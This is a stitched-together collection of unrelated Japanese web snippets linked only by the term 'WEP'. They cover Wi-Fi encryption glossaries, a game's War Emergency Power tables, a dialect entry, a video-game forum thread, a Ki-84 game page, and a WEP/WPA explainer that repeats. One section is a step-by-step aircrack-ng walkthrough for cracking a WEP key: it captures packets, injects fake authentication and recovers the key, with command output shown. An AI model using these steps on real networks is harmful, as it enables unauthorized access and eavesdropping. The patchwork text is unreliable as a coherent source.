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WEP 読み:うぇっぷ 英語:Wired Equivalent Privacy 別名: 意味: WEPとは無線通信における暗号化技術で、IEEE 802.11?無線LANの標準暗号化技術のこと。 2007年11月27日 無線LAN WEPキー? IVキー? Initialization Vector【IV】? TSN?
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War Emergency Power (WEP) WEPとは WEP(War Emergency Power)とは、第二次世界大戦における米軍機のエンジン・スロットル設定です。緊急時に使用するために、エンジンの通常の定格出力の100%以上の出力を、限られた時間、多くの場合は約5分間発生させるものです。米軍機以外で使用された同様のシステムは、WEPと呼ばれていなかったかもしれませんが、現在ではWEPと呼ばれることが多い。 WEPの種類 通常最大出力は、スロットルレバーを横切るようにワイヤーなどによってそれ以上動かすことができないように制限されていますが、強く押すことによりワイヤーが切れて通常の最大出力以上の出力が得られるようになっていました。 エンジンの出力を上げるための方法としては、水噴射やメタノール水噴射など、メーカーによってさまざまな方法が使われていました。初期のエンジンでは、単にスロットルの開きを通常よりも大きくして、吸気口からより多くの空気が流れるようにしたものもありました。 いずれの方法にしても、WEPはエンジンに通常以上のストレスを与え、エンジンの寿命を縮めることになりました。例えばP-51などでは、WEPを使用した場合は、着陸後再度飛行する前にエンジンを分解して損傷がないか点検する必要がありました。 ドイツのWEPであるMW50システムでは、追加の配管と貯蔵タンクが必要となり、機体全体の重量が増加しました。他のブースト技術と同様にMW50を使ったとしてもその容量とエンジンの温度によって制限されるため、限られた時間しか使用できません。ドイツ空軍で使用されていたGM1亜酸化窒素噴射システムは、出力の向上が25~30%と極めて優れたパワーを発揮しましたが、地上での冷却が必要であり、機体の重量も増加しました。 Aces HighにおけるWEP 実際のWEPは、メタノールなどの容量によって使用時間が制限されるものもありますが、Aces Highでは、エンジンの温度のみによってWEPの使用を制限しています。WEPが使用可能な航空機には飛行時間の制限がありますが、クールダウン後に再使用することができます。 機種別WEP使用時間(分)/クールダウン時間(分)/総使用時間(分) 戦闘機/攻撃機 機種 使用時間 クールダウン時間 総使用時間 Bf 109E-4 5 10 10 Bf 109F-4 10 10 43 Bf 109G-14 10 10 43 Bf 109G-2 10 10 43 Bf 109G-6 10 10 43 Bf 109K-4 10 10 43 Bf 110C-4b 5 17 10 Bf 110G-2 10 10 43 C.202 5 10 10 C.205 5 17 10 F4U-1 5 10 8 F4U-1A 5 10 8 F4U-1C 5 10 8 F4U-1D 5 10 8 F4U-4 5 10 8 F6F-5 5 10 8 FM-2 5 10 10 Fw 190A-5 10 20 20 Fw 190A-8 10 20 20 Fw 190D-9 10 5 40 Fw 190F-8 10 20 20 Hurricane Mk I 5 17 10 Hurricane Mk II 5 17 10 Hurricane Mk IID 5 17 10 Ki-43-II 2 1 10 Ki-61-I-Tei 5 10 10 Ki-84-Ia 2 1 10 La-5FN 10 10 10 La-7 10 10 10 Me 410 10 10 43 Mosquiro Mk VI 5 17 10 N1K2-J 5 17 10 P-38J 5 17 10 P-38L 5 17 10 P-39Q 5 10 10 P-40F 5 10 10 P-40N 5 10 10 P-47D-11 5 10 15 P-47D-25 5 10 15 P-47D-40 5 10 15 P-47M 5 10 15 P-47N 5 10 15 P-51B 5 10 10 P-51D 5 10 10 Sea Hurricane Mk I 5 17 10 Seafire Mk IIc 5 17 10 Spitfire Mk I 5 17 10 Spitfire Mk IX 5 17 10 Spitfire Mk V 5 17 10 Spitfire Mk VIII 5 17 10 Spitfire Mk XIV 5 17 10 Spitfire Mk XVI 5 17 10 Ta 152H-1 10 5 40 Tempest 5 10 8 Typhoon 5 10 8 爆撃機 機種 使用時間 クールダウン時間 総使用時間 A-20G 5 17 10 B-25C 5 17 10 B-25H 5 17 10 B-29 5 17 10 C-47A 5 17 10 Lancaster III 5 17 10 Mosquito Mk. XVI 5 17 10 TBM-3 5 10 8 Tu-2S 10 10 10
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WEPとはRC4と呼ばれるストリーム暗号化手法である。WEPでは、64ビット、または、128ビットの暗号化キーが使われる。暗号化キーは、64ビットよりも128ビットの方が暗号強度が高く、通信の秘匿性が高いとされている。 しかし、(2012/12/21)現在ではあまり使われなくなってしまった。20分から1時間ほどパケットをキャプチャしてKoreK sアタックで簡単にWEPキーを割り出すことができるからである。 そのほかの無線LANで使われる暗号化方式 WPA,WPA2
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ヴェストファーレン方言 |Indo-European languages|Germanic languages|West Germanic languages| 言語類型 現用言語 使用文字 ラテン文字【Latn?】 type living language writing system Latin alphabet ISO 639-3 【wep】 言語名別称 alternate names Westfälisch ヴェストファーレン方言 Westfaelisch ヴェストファーレン方言 Westphalian ウェストファリア方言 ヴェストファーレン語 方言名 dialect names 参考文献 references WEB ISO 639-3 Registration Authority - SIL International the LINGUIST List Ethnologue Wikipedia
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達成率100パーセント超えたのに陸戦の超強い武器だけ集まってない。100時間以上PS2つけっぱなして回収させてるのに -- (名無しさん) 2005-08-27 14 25 48 武器のバリエーションを増やして欲しい -- (名無しさん) 2005-08-29 19 06 56 少なすぎ。作業をしている感を増やす要因 -- (名無しさん) 2005-08-29 23 41 19 その武器が必要な難易度やステージで出るようでは遅すぎる。前作では、インフェルノで必要な武器はハーデストで出ていた。(それでも苦労した)今作では、インフェルノで必要な武器がインフェルノの後半で出る。これでは駄目だ。 -- (名無しさん) 2005-08-31 00 52 29 激しく同意↑。ハーデストで必要な武器はやっぱりハーデスト後半からだし。 -- (名無しさん) 2005-08-31 01 29 51 今回インフェはインフェで死ぬほどの時間を、インフェ以下はそれより一つ上の難易度で武器を稼がないとマトモにプレイできないね -- (名無しさん) 2005-08-31 23 16 49 クリアに武器が必要なのにクリアしないと手に入らない。本末転倒。何のために武器を入手するのか。 -- (名無しさん) 2005-09-03 09 06 33 正直ランダム要素なくしてほしい。武器ポイントのようなもの(お金でもいいけど)を貯めて任意に購入できるとかにしてほしい。当然難易度が高いほど貯めやすい仕様で。達成率に絡めるとかでもいい。結局何が言いたいかというと、INF後半のステージを何十回も繰り返してようやく出るか出ないかという現状の仕様は糞。娯楽とは思えない。 -- (名無しさん) 2005-09-03 16 33 35 けど、ポイント制にしても何回も繰り返さないと買えない位じゃないとありがたみがないよな。もしくは特定の条件をクリアして初めて売りに出されるとか… -- (名無しさん) 2005-09-06 00 56 44 ↑確かにねー。完全ポイント製だと単純な稼ぎで体力も武器も増えてしまって、それはそれで面白くなくなりそうなので、体力(アーマー)も武器も進行度に応じて出て欲しいね。で、ポイントは敵撃破で自動加算にして欲しい。敵を1匹残して緊急回避連発で武器とアーマー回収なんてナンセンス。-- (名無しさん) 2005-09-08 14 03 00 クリアの文字が出た時に地面に落ちてるアイテムは、全て拾った事になるといいなあ。なんか落穂拾いしてるみたいな気分になってくる。 -- (名無しさん) 2005-09-12 17 27 07 種類がいくら多くても、選択肢にならない物ばかりなら意味無いと思う。 -- (名無しさん) 2005-09-13 03 18 39 これシンプルシリーズなんだからフツーのゲームみたいに複雑にする必要はないと思う。ポイント制とかもいい案だと思うけどね。確かに超級武器の出現確立は低いと思う。1/500はちょ~っと低いかな。-- (名無しさん) 2005-09-16 02 05 21 100%クリアしても武器が全部そろわないのは悲しい・・・ -- (名無しさん) 2005-09-17 03 09 20 一つ上の難易度で、なんとかクリア出来るステージを繰り返して、やっと必要レベルの武器を手に入れるのは正直萎える。-- (名無しさん) 2005-09-19 18 28 34 武器集めにおもしろさはあることはあるのだが、これほどまでにでないとおもしろさなんかまったくない。武器集め作業を数十時間もやらせるのは娯楽やゲームだとはいえない。武器出現率は礼賛の半分くらいいいと思う。-- (名無しさん) 2005-09-30 17 58 17 ノーマルで71まで手に入る武器使ってもむだ -- (123) 2005-11-03 13 48 39 アイテムはステージクリア後に自動取得にして欲しい。回収面倒だし -- (名無しさん) 2005-11-06 00 07 39 クリア報酬がショボくてガッカリしました。 -- (名無しさん) 2005-11-07 00 34 48 強い武器が手に入りにくいのは当然だと思うけど?今回は隠し武器的存在だから。だからこそ手に入ったときうれしいんじゃないでしょうか? -- (名無しさん) 2005-11-09 21 43 15 もうだめぽ・・・神獣20時間やってもなにもでない -- (名無しさん) 2005-11-11 22 21 08 赤波2時間で武器1個ってひどいよ。ホーリーランスとかリヴァイアサンでないよorz -- (curse) 2005-12-14 23 54 22 みんなステージ70でやれよw -- (名無しさん) 2006-01-08 23 19 21 赤波3時間やったよそれでホーリーランスがでた ヤッター -- (名無しさん) 2006-01-11 19 01 38 赤波3時間やったよそれでホーリーランスがでた ヤッター -- (名無しさん) 2006-01-11 19 01 41 赤波3時間やったよそれでホーリーランスがでた ヤッター -- (名無しさん) 2006-01-11 19 01 44 んー、自分の場合楽にホーリーランスやデモニックランス、ヘブンズゲートαが出たわけですが・・・。30分 -- (ねぎとろ) 2006-02-09 18 26 53 普通に陸戦で百鬼夜行(inf)やったら殺虫スプレーEXでた -- (名無しさん) 2006-02-12 19 53 48 適当にやってたらマスターレイピアTでてきた -- (warakaka) 2006-02-27 18 06 57 リヴァアサンがでないんですけど・・・どうすればいいですか?-- (無名) 2006-03-06 02 02 22 武器はレベルアップ制で使えば使うほど強くなるようにしたらどうか?武器のレベルは0~1000まで。ただそれでは自分の好きな武器ばっかり使って行き詰まってしまったときに他の武器を育てないといけないのが辛い。そこでミッションクリアごとにイージーなら1、ノーマルなら2、…インフェルノなら5「全ての」武器のレベルが上がるようにし、ミッションで使用中の武器だけレベルの上がり方は二倍(三倍でもいいかも)にする。しかしレベル999から1000に上げるためには特別な条件が必要。ミッション数が70くらいだと普通にイージーから一回づつミッションを越していくと、インフェルノを制覇するくらいで全ての武器のレベルが1000になる計算に。当然同じミッションを何回クリアしてもレベルは上がっていくものとするなら、あながちレベル上げも苦しいものではない。ただ前作や今作みたいにいきなり強い武器が出てきて狂喜乱舞するのも楽しいのも事実。レベルアップ方式ではその喜びが無いのが致命的。 -- (qwerty) 2006-03-06 02 42 48 結論として、入手確率はややタイトだが、許容の範疇と考えている。それは、今作が前作と違い、兵器ごとの作戦を考えたり、やりこみによるプレイヤーの成長を主眼に据えた作品だからである。ほぼ、すべてのStageが、その難易度における1ランク下の兵器でも、もしくは、使い方にコツがいるが手に入りやすい兵器でクリア可能であると思わせる。むしろ、気になるのは一度手に入った武器の再入手に意味の無い点だろうか。考えようによっては、武器を購入するシステムでも良かったのかもしれない。 -- (名無しさん) 2006-05-28 02 20 21 灼熱600時間やっても、まだ最後の1個が出ないよ。。。AS100エフゥゥゥーーーーorz -- (サンダー参百四拾号) 2006-05-29 22 49 19 リバイアサンは何処で手に入りますか -- (龍生) 2006-06-18 15 50 40 リバイアサン・・・・テラワロスwww -- (ザフト) 2006-07-03 21 10 46 ボルケーノ6W欲しいわぁ~ -- (ザフト) 2006-07-03 21 12 23 殺虫スプレーEX・・・役にたたないけどネタ武器としては結構ワロスWWW -- (ザフト) 2006-07-03 21 15 03 殺虫スプレーEX・・・役にたたないけどネタ武器としては結構ワロスWWW -- (ザフト) 2006-07-03 21 15 11 まあこんなもんじゃないかなぁと思う。自分が一番獲得に苦労したのがマスレイTってのもどうかと思うがw他の武器は赤波2時間程度で集まったのにw -- (名無しさん) 2006-08-18 20 19 08 マスレイT持ってんのに何故かマスレイモテナイ -- (ナナシア) 2006-09-02 02 13 58 超級武器、ありえないよ・・・ -- (ソラス・キング) 2006-09-14 19 51 28 ネタ武器をもっと大量にだして別の意味で楽しましてほしい -- (no name) 2006-09-14 22 44 10 レベルアップ制はいいねw武器出現時にlvがランダムに付加してさらに鍛えるみたいなカンジで。 -- (名無しさん) 2006-11-05 02 54 56 殺虫スプレーEXおもろい-- (テラソラス) 2006-11-28 22 42 10 一応、超級武器は無くてもクリア可能であるからして、入手難易度は当然かな、と。ただ、コンプ目指すと厳しすぎるなぁ・・・。 -- (名無しさん) 2006-11-29 00 46 03 ペイルの方が陸戦より入手しやすいのでは?という意見がありましたが同感です。序々にレイピアが無いと稼げない陸戦の邪魔になってて。 -- (誘導式レイピア) 2007-01-28 05 55 51 陸戦兵の超級武器ほとんど持ってない -- (名無しさん) 2007-02-22 18 06 37 みなさん・・・想像できますか?赤波の蟻がヒナ鳥みたいに噛み付いてくる姿が!! -- (パイナッポー) 2007-02-25 13 46 33 レア武器入手しんどすぎ・・・マスレイやホーリー入手できず・・・挫折・・・ -- (Andante) 2007-03-29 22 55 08 未だ入手できていない超級武器(現時点でのプレイ時間延べ430時間・除クリア特典・稼ぎ作業あり)ペリ子・・・ホリラン陸戦・・・secret関係全部 -- (uga) 2007-04-05 04 52 01 IMPあと3面で完全クリアになるんだけど、まだ陸戦の超級武器が3つ出てねぇ…それもSG-100・ハーキュリー・礼賛乙とこぞって強力な武器。ボルケ6WとUMV2が出ただけマシか…? -- (つー) 2007-06-22 23 38 59 灼熱稼ぎ1回でハーキュリーとボルケが運良く手に入ったんだがやっぱり強力だなと実感。ハデストどんどんクリアしていけるし。 -- (名無しさん) 2007-06-26 21 31 54 ペイル>>>陸戦は同意。 -- (名無しさん) 2007-07-08 14 05 49 灼熱稼ぎ4回目でやっと超級武器(ハーキュリー)1つ。これってシークレット全部集めるのにどれくらい掛かるんだろうか。目安があれば知りたい。低確率過ぎるだろ・・・ -- ( ) 2007-07-20 04 27 27 ↑過去の集計によると、約500分の1、0.2%だそうです。 -- (つー) 2007-07-20 06 16 35 灼熱稼ぎ(のみ)12回目にして、シークレットコンプ。一度に3つのシークレット、2つのスーレアが出たこともあった。出るときと出ないときがはっきり別れることが多かった。灼熱で稼ぐなら3~4時間でみっちりやる方がいい模様。1.5~2時間1セットだと出ないことが多かった。自動化するか、暇なときに頑張りましょう。-- (名無し) 2007-07-25 04 54 22 灼熱でソルリングXが死ぬほど出るのは仕様? -- (以下動弁) 2007-08-14 15 14 27 ↑一回出た物は後でいくらでも出る後、神ソラスでマスレイとXSXが同時に出たついでにマグマとリバイアサンが同時に出た -- (名無しさん) 2007-09-08 21 08 27 赤波10時間やっても新しい武器手に入らないのは かなりヤル気奪われる… 入手率上げてほしいよ… -- (轟雷鬼) 2007-10-16 19 06 45 INFの灼熱で簡単に稼げるのに 本部が気づいたのでしょうか。 意図的に神武器が出にくいように設定されてるようです。 でもここまで出ないのは異常。 自分は後ボルケ6Wとジェノ砲でコンプです。 -- (俺神) 2007-11-13 19 42 45 俺も神ソラでXSXとミラージュ15WR とマグマとリバイアサンが出ましたよ マスレイは機獣 -- (狙撃兵) 2007-11-16 21 18 51 今日ジェノ砲手に入れたので、 神獣爆殺しまくってるんですが・・・ もう70回目(今もやってる)なのに なんも出ません。 いい加減飽きてきた。 -- (俺神) 2007-11-17 21 00 10 Sレアまでは赤波神獣重層鉄球でどうにかなる 灼熱の出現率低くされてるってマジですか -- (楓の風) 2007-11-18 13 34 06 神武器一番出易い灼熱でも、 確か1パーセント以下・・・だったはずです。 -- (俺神) 2007-11-19 19 45 50 灼熱で7回稼いでもシークレットが でないのは、いじめですか? -- (名無しくん) 2007-12-15 13 39 07 ↑そうです。これはいじめです。 いまだ出てきませんボルケ6W。 -- (俺神) 2007-12-28 17 52 41 ↑私もそうです(泣) ボルケ6Wだけじゃなく、他のシークレットが出ません。 -- (名無しさん) 2008-01-24 19 09 33 ↑そうです。ハーキュリーしか出てません(泣) もう50回はやったなぁ・・・ -- (ぱぱぱん) 2008-02-12 18 25 24 サンダーの声を聞いてサンダーボウを開発したなら酸に苦しむ少年を助けてくれ!(今田にサンダーボウ無しはきつすぎる・・・) -- (結城サンダー) 2008-02-12 22 52 24 200回くらいやってようやくコンプ出来た。すごく疲れた。 -- (名無しさん) 2008-04-02 16 16 00 もう何回テラソラスを狩ったか分からないくらいなのに、未だにマスレイTと参謀30以外の有効武器が出ないのは仕様ですか? -- (名梨) 2008-06-02 20 54 05 絶対包囲でハーキュリーとV2げとーしたぜ 灼熱より武器でやすいかもね -- (ROM専) 2008-06-09 19 01 05 灼熱でボルケW北何十回も確認してしまう俺、「Aじゃないな!?Wだな!?本部の罠じゃないな!?」 PSリヴァコネェ -- (神はいる!!) 2008-06-18 02 17 27 灼熱で1パーセント以下は大げさでした しかしそれでもかなり低くなってるのは事実。 ボルケWを遊び半分でやった赤波でGET。 神獣での苦労を返せよ(泣) -- (俺神) 2008-07-24 20 47 23 やっとインフェすべてクリアデス・・・ インフェクリア得点武器より、シークレットのほうが使い勝手よくて泣いた。 -- (323時間やりこんだ者) 2008-08-01 01 03 53 神武器は特定条件を満たした時に出るようにしてくれれば・・・ 俺の費やした100時間を3のプレイに 使うことが出来たはず -- (俺神) 2008-08-01 21 39 41 h。k、jtfhg。kgんf、mkんhylこいじゅじyrhrl。kjl。yrfhgl。lkjrfhl。kjhg。kfhg。kfhgfhg。、。f、、jkhg -- (gggg) 2008-08-31 12 44 10 ライサンダーZが未だに出ねぇぇえぇー -- (結城) 2008-10-09 12 05 27
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0.解析の条件 (1).WEPである言 (2).Macアドレスフィルタが設定されていない事 (3).アクセスポイントに接続しているクライアントが存在している事 (4).自己ネットワークである事 1. aircrack-ng = WEPのパスワード解析に必要な情報の収集から情報収集のために必要なアクセスポイントへのアタック、パスワードの解読までを行う優れもの。 インストールにはパッケージマネージャを使用すればOKです。 2. aircrack-ptw http //www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/#implementation よりDownload tar xvfz xxxxx.tar.gz cd xxxxxx make cp aircrack-ptw /usr/local/sbin/ "make"コマンドでエラーが出る場合は、"libpcap0.8-dev"をインストールする必要があります。 無線LANのインターフェイスを停止 # ifconfig wlan0 down キャプチャ用インターフェイスの起動 # airmon-ng start wlan0 キャプチャ用インターフェイスの確認 # airmon-ng InterfaceChipsetDriver wlan0Intel 3945ABGiwl3945 - [phy0] mon1Intel 3945ABGiwl3945 - [phy0] ----- ここに注目。以降のコマンドで「インターフェイス名」として使用します。 キャプチャーモードが起動しているかを確認 # airmon-ng wlan0Intel 3945ABGiwl3945 - [phy0] mon0Intel 3945ABGiwl3945 - [phy0] ----- ここに注目。 (monitor mode enabled on mon1) ----- ここに注目。 アクセスポイントの収集 # airodump-ng mon0 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00 01 01 ED ED ED -87 16 0 0 1 54e WEP WEP AP-POINT-00 パケット収集とARP送信によるパケット増幅 収集コマンド文法 # airodump-ng -c CH番号 --bssid BSSID名 -w 収集パケットの排出ファイル名 インターフェイス名 パケット情報 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00 01 01 ED ED ED -87 16 0 0 1 54e WEP WEP AP-POINT-00 収集コマンド airodump-ng -c 1 --bssid 00 01 01 ED ED ED -w dump1417 mon0 arpを送信してパケットを増やすコマンド文法。※パケット収集中に別のterminalを開いて実効 # aireplay-ng -1 発信感覚(秒) -a APのMAC-Address -h 自PCの無線イーサのMAC-addeess -e ESSID名 mon0 ※発信感覚(秒)を「0」とした場合は連続してパケット送信してくれそうなんだけど、一回送信して終了してしまいました。 「1」を設定した場合は1秒間隔で゛「Ctrl + c」するまで継続されます。 aireplay-ng -1 0 -a 00 01 01 ED ED ED -h 11 11 11 11 11 11 -e AP-POINT-00 mon0 ※自MAC 11 11 11 11 11 11 上記のコマンドで失敗した内容 14 25 34 Sending Authentication Request (Open System) Attack was unsuccessful. Possible reasons * Perhaps MAC address filtering is enabled. ---- このメッセージでわかるようにMACアドレスでフィルタリング設定がされている。 * Check that the BSSID (-a option) is correct. * Try to change the number of packets (-o option). * The driver/card doesn t support injection. * This attack sometimes fails against some APs. * The card is not on the same channel as the AP. * You re too far from the AP. Get closer, or lower the transmit rate. 気を取り直して以下のダンプ内容をキャプチャしてみよう BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 16 16 16 16 16 16 -79 25 0 0 7 54 WEP WEP AP-POINT-99 収集コマンド airodump-ng -c 7 --bssid 16 16 16 16 16 16 -w dump1431 mon0 arp送信によるパケット増幅 aireplay-ng -1 1 -a 16 16 16 16 16 16 -h 11 11 11 11 11 11 -e AP-POINT-99 mon0 以下のように表示されていればOKです Sending Authentication Request (Open System) Authentication successful Sending Association Request Association successful -) (AID 1) 解析には800k程度のダンプファイルが必要のようです。 上記のバケット増幅コマンドを利用した場合で゜も10分程度が必要でした。 キャプチャ解析 # aircrack-ptw 収集パケットの排出ファイル名.cap 上記コマンド後に表示される「KEY FOUND! [ ZZ ZZ ZZ ZZ ZZ ]」がWEPキーコードである。 ----
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ここではタイトルの通りセキュリティ方式、WEPとWPA、WPA2について書かれています。 なお、ここで書かれている情報を鵜呑みにする事はとても危険です。きちんと自分でも調べましょう。 無線通信は傍受が極めて容易であるため(電波ですからね)送信されるパケットを暗号化し、傍受者に内容を知られないようにすることで、有線通信と同様の安全性を持たせようとしています。 『WEP』(Wired Equivalent Privacy) 無線通信における暗号化技術のこと。一般的にワイヤレス標準『802.11b』で知られていますね。 これには共有鍵暗号方式であるRC4が使われています。RC4というのは秘密鍵暗号方式のことで、1ビット単位で暗号化を行ないます。 暗号化云々言っているのでセキュリティーは大丈夫かなーと思いたくなるのが一般人の考えなのですが、このWEPは既にクラックする手段が一般に知られています。 なのでクラックして通信パケットを傍受するソフトを手に入れる事ができちゃうため、悪意ある人間がご近所に居る場合 ・無線LANを勝手に使われたり ・LAN内への侵入(共有フォルダなどへの被害) があったり ・通信パケットを傍受されることによる情報漏洩 のような被害に会うかもしれません。 HTTP通信は暗号化されていないので、WEPをクラックした傍受者がいる場合、Webページのフォームに打ち込んだパスワードなどは筒抜けになってしまいます。(SSLで暗号化されているサイトは別なのですが) ちなみに 128bitは半角26文字(16進数) 64bitは半角10文字(16進数) ちなみに文字にすると 128bit半角13文字(文字) 64bit半角5文字(文字) ですね。WEP64はちょっと少ない気がしますよね。してください。やっぱり桁数が少ないと不安です。すぐにクラックされちゃいますよ。WEPを使うのなら64はちょっと自重した方がいいかもしれませんね。 あ、先に言っておきますが暗号化なしとかは論外ですよ。何故かって?ググってください。 WPA (Wi-Fi Protected Access) 無線LANの業界団体Wi-Fi Allianceが発表した、無線LANの暗号化方式の規格のこと。 WPAはそれ以前のWEP に対して脆弱性を指摘されたため、その対策として策定されました。 IEEE 802.11i の主要部分を実装したプロトコルで802.11i が完成するまでの間、WEP の代替として一時的に使うために策定されたのです。 以下の機能が追加されています。(従来採用されてきたWEPの弱点を補強して、セキュリティ強度を向上させたものなの。) ・より強力な認証:RADIUSサーバなどのIEEE 802.1x認証サーバを使って個々のユーザーを認証できる ・より長いキー:WPAでは、初期化ベクタ(IV:Initialization Vector)が48ビットに、マスターキーが128ビットに拡張されている ・TKIP(Temporal Key Integrity Protocol):クライアントごとに異なるキーを生成し、連続するパケットごとにキーを変更する ・MIC(Message Integrity Code):暗号化チェックサム。メッセージが送信中に改ざんされていないかをチェックし、通信内容を盗聴して得た認証情報を使って不正アクセスすること等を防止します。 ※暗号化キーは、「WEP128」では26桁、「WEP64」では10桁、「AES」、「TKIP」では64桁となります パーソナルモード:このモードではWEPと同様に、手動で設定されたキーを利用します。 すべてのクライアントが同一の初期マスターキーを使います。 エンタープライズモード:APはEAP(Extensible Authentication Protocol)を使い、各クライアントとペアワイズマスターキーであるPMK(Pairwise Master Key)を個別にネゴシエートします。 キーが再利用されると、マスターキーの特定につながるデータをハッカーに大量に与えてしまうことになってしまいます。 WEPでは、すべてのステーションが同じマスターキーを使う、と前述しましたね。また、24ビットの1600万通りの値しか生成しないため、通信が活発に行われるネットワークでは数時間の間に同じものが再利用されてしまいます。 しかし、WPAでは48ビットが採用されており、その取り得る値が使い尽くされるのには何年もかかります。 WPA2 802.11i の必須部分を実装したものです。 特に新たにAES(Advanced Encryption Standard)暗号ベースのアルゴリズムであるCCMP(Counter Mode with Cipher Block Chaining Message Authentication Code Protocol を導入しています。 TKIPではWEPの場合と比べて無線トラフィックが非常に傍受されにくくなっているのですが、CCMPはRC4とTKIPの組み合わせよりも安全そうです。安全そうなのですが、CCMPはRC4より多くのプロセッササイクルを必要とするのでWPA2にアップグレードする時はAPやクライアントをより性能のいいものに交換したほうがいいのかもしれません。 また、WPA2ではクライアントがAP間を移動する際のハンドオーバーを高速化する方法も追加されているようです。 802.1xサーバによる認証とキーの生成のプロセスは、気になるレベルの無線音声通信の途切れを発生させてしまうほど時間がかかっちゃいます。WPA2ではクライアントがあらかじめ近隣のAPとの認証を行う方法が規定されているのでタブン大丈夫。さらにWPA2ではクライアントが以前に利用したAPのエリアに戻ったときにすぐに通信を再開できるように、APとクライアントにキーを保持させておくことも可能なのです。ステキですね^p^ これで、このページは終わりなのです。わかりにくい・見難い・違ってる なんてことが多々有るかもしれませんが、それはそれで良いと思います。『これ違うんじゃない?』とか『もうちょっとわかりやすい表現はないかな』と思って調べた方が頭に入りやすいと思いますしね。それにこの資料だけを参考にして痛い目に会えば、次からはいろんな資料を目を向けられるようになる・・・かもしれませんし。 今回はセキュリティについて書きましたが、『絶対』というものは存在しないので注意してくださいね。ウィルス等でも、セキュリティソフトを入れているからといって必ず防げるとは限りませんし。よく知りませんが(´・ω・`) #comment() このページへのアクセス数 total counter() today counter(today) yesterday counter(yesterday) このページのタグ一覧 tags_list()
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戦後、連合軍によって第二次大戦最高の日本軍機と評された陸軍の戦闘機 実機では、パイロットの意見を取り入れて、操縦桿を重くしている。これは、操縦桿を重くすることによって、無理な荷重がかからないようにすることで、強度を抑え、結果的に機体が軽量化できるというコンセプトである。 機体は軽量化されていても、海軍機と異なり、防弾についてもしっかりと考慮されている。 大戦末期になると、製造品質が著しく悪化し、後期に製造された機体は、稼働率の低下や飛行中の故障などに悩まされた。 米軍コードネームは「フランク(Frank)」 Aces Highにおける疾風Ki-84-Ia 疾風 性能諸元 コメント Aces Highにおける疾風 終戦間際の日本と異なり、常に最高性能を維持できるため、搭乗員の証言に比べると全般的に高性能となっている。 実機と異なり、操縦桿を軽く引くことが可能なので、急降下時にちょっと操縦桿を引くと割と簡単に空中分解するので過速に注意 共通アイコンは「KI84」 Ki-84-Ia 疾風 AcesHighでは一型甲のKi-84-laが使用可能である。 大戦末期の戦闘機だけあって、撃ってよし、守ってよしの機体である。航続距離も長く、MAでの活躍が期待できる機体である。 ジョイスティックでは、操縦桿の重さを再現できない(FFBなら再現可能?)ため、過荷重となりやすく、結果的に機体が壊れやすくなってしまっているため、特に高速時にはあまりスティックを引かないようにした方がよい。 Fuel 50%でもスピットファイアやBf 109、Laといった欧州の戦闘機の100% fuel並の航続距離があるので、迎撃任務なら燃料を減らして飛ばした方が軽快に飛べる。 実機同様、射撃時の座りが良いので高い上昇力と250kg爆弾を生かし、敵車両に精密な急降下爆撃を行うことができる意外にも優秀なJaboである。 また、被弾にも強く20mmを数発食らっても簡単に火を噴いたり分解したりしないのも強みである。 スピットファイアに近い旋回性能を有しているが、急旋回時に翼端失速しやすく、一度気流が剥離するとなかなか失速状態から抜け出せないので注意すること。 ファウラーフラップの展開したときの操縦性能、ラダーの効きは良い。ただ、フラップは160mphからなので、米軍機の高速フラップを使った高速旋回に回り負けることがある。 低中速域でのロール性能はFw 190に近く、キレのある素早いロールを行うことができる。そのためロールを活かしたシザース機動を体得したプレイヤーが、疾風に乗っていると手ごわい。 反面、高速域の操舵はかなり重く、急降下では手動トリムを使わないと墜落の危険すらある。 また、450mphを過ぎたあたりでいきなり操舵翼のいずれかが破損するので、余剰エネルギーを生かした一撃離脱ができないのが疾風の大きな欠点である。 さらにWEPは同一エンジンを積んだ紫電改と違って1分しか使えない(米軍調査の疾風操縦マニュアルを参考にした?)ので、乱用は避けたい。 (ただし、1分しか使えない分、再びエンジンが冷えてWEPが使用可能となる時間も速いが。) 総括すると、優れた加速性能と横転性能、耐弾性は、旋回性能の良い「和製フォッケウルフ」と言っても良いだろう。 固有アイコンは「KI84」 性能諸元 機種 重量 燃料 武装1 武装2 増槽 爆弾 EW MW LW 四式戦闘機 ポンド ガロン ○ 決戦機疾風 航空技術の戦い―知られざる最高傑作機メカ物語 (光人社NF文庫) 四式戦闘機疾風―大戦末期にベールを脱いだ陸軍航空隊の最終兵器 (〈歴史群像〉太平洋戦史シリーズ (46)) 疾風・九七重爆・二式大艇 (ハンディ判図解・軍用機シリーズ) 陸軍4式戦闘機「疾風」 (世界の傑作機 NO. 19) 中島 四式戦闘機「疾風」 (エアロ・ディテール) コメント 名前 コメント
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ここではタイトルの通りセキュリティ方式、WEPとWPA、WPA2について書かれています。 なお、ここで書かれている情報を鵜呑みにする事はとても危険です。きちんと自分でも調べましょう。 無線通信は傍受が極めて容易であるため(電波ですからね)送信されるパケットを暗号化し、傍受者に内容を知られないようにすることで、有線通信と同様の安全性を持たせようとしています。 『WEP』(Wired Equivalent Privacy) 無線通信における暗号化技術のこと。一般的にワイヤレス標準『802.11b』で知られていますね。 これには共有鍵暗号方式であるRC4が使われています。RC4というのは秘密鍵暗号方式のことで、1ビット単位で暗号化を行ないます。 暗号化云々言っているのでセキュリティーは大丈夫かなーと思いたくなるのが一般人の考えなのですが、このWEPは既にクラックする手段が一般に知られています。 なのでクラックして通信パケットを傍受するソフトを手に入れる事ができちゃうため、悪意ある人間がご近所に居る場合 無線LANを勝手に使われたり LAN内への侵入(共有フォルダなどへの被害) があったり 通信パケットを傍受されることによる情報漏洩 のような被害に遭うかもしれません。 HTTP通信は暗号化されていないので、WEPをクラックした傍受者がいる場合、Webページのフォームに打ち込んだパスワードなどは筒抜けになってしまいます。(SSLで暗号化されているサイトは別なのですが) ちなみに 128bitは半角26文字(16進数) 64bitは半角10文字(16進数) ちなみに文字にすると 128bit半角13文字(文字) 64bit半角5文字(文字) ですね。WEP64はちょっと少ない気がしますよね。してください。やっぱり桁数が少ないと不安です。すぐにクラックされちゃいますよ。WEPを使うのなら64はちょっと自重した方がいいかもしれませんね。 あ、先に言っておきますが暗号化なしとかは論外ですよ。何故かって?ググってください。 WPA (Wi-Fi Protected Access) 無線LANの業界団体Wi-Fi Allianceが発表した、無線LANの暗号化方式の規格のこと。 WPAはそれ以前のWEP に対して脆弱性を指摘されたため、その対策として策定されました。 